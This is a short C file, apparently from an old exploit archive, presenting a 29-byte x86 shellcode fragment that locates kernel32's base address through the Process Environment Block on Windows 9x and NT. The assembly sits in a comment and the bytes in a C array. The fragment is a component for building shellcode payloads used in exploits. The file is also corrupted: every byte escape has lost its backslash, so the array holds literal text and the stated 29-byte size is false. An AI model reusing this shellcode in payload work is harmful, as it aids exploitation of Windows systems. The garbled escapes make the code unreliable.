//
// PEB way of getting kernel32 imagebase by loco.
// Compatible with all Win9x/NT based operating systems.
//
// Gives kernel32 imagebase in eax when executing.
// 29 bytes, only eax/esi used.
//
// Originally discovered by Dino Dai Zovi.
//
//

#include <stdio.h>

/*
	xor   eax, eax
	add   eax, fs:[eax+30h]
	js    method_9x

method_nt:
	mov   eax, [eax + 0ch]
	mov   esi, [eax + 1ch]
	lodsd
	mov   eax, [eax + 08h]
	jmp   kernel32_ptr_found

method_9x:
	mov   eax, [eax + 34h]
	lea   eax, [eax + 7ch]
	mov   eax, [eax + 3ch]
kernel32_ptr_found:
*/

unsigned char Shellcode[] =
	"x33xC0"          // xor eax, eax
	"x64x03x40x30"  // add eax, dword ptr fs:[eax+30]
	"x78x0C"          // js short $+12
	"x8Bx40x0C"      // mov eax, dword ptr [eax+0C]
	"x8Bx70x1C"      // mov esi, dword ptr [eax+1C]
	"xAD"              // lodsd
	"x8Bx40x08"      // mov eax, dword ptr [eax+08]
	"xEBx09"          // jmp short $+9
	"x8Bx40x34"      // mov eax, dword ptr [eax+34]
	"x8Dx40x7C"      // lea eax, dword ptr [eax+7C]
	"x8Bx40x3C"      // mov eax, dword ptr [eax+3C]
; // = 29 bytes.

int main()
{
	printf("Shellcode is %u bytes.nn", sizeof(Shellcode)-1);
	return 1;
}

// www.Syue.com [2005-07-26]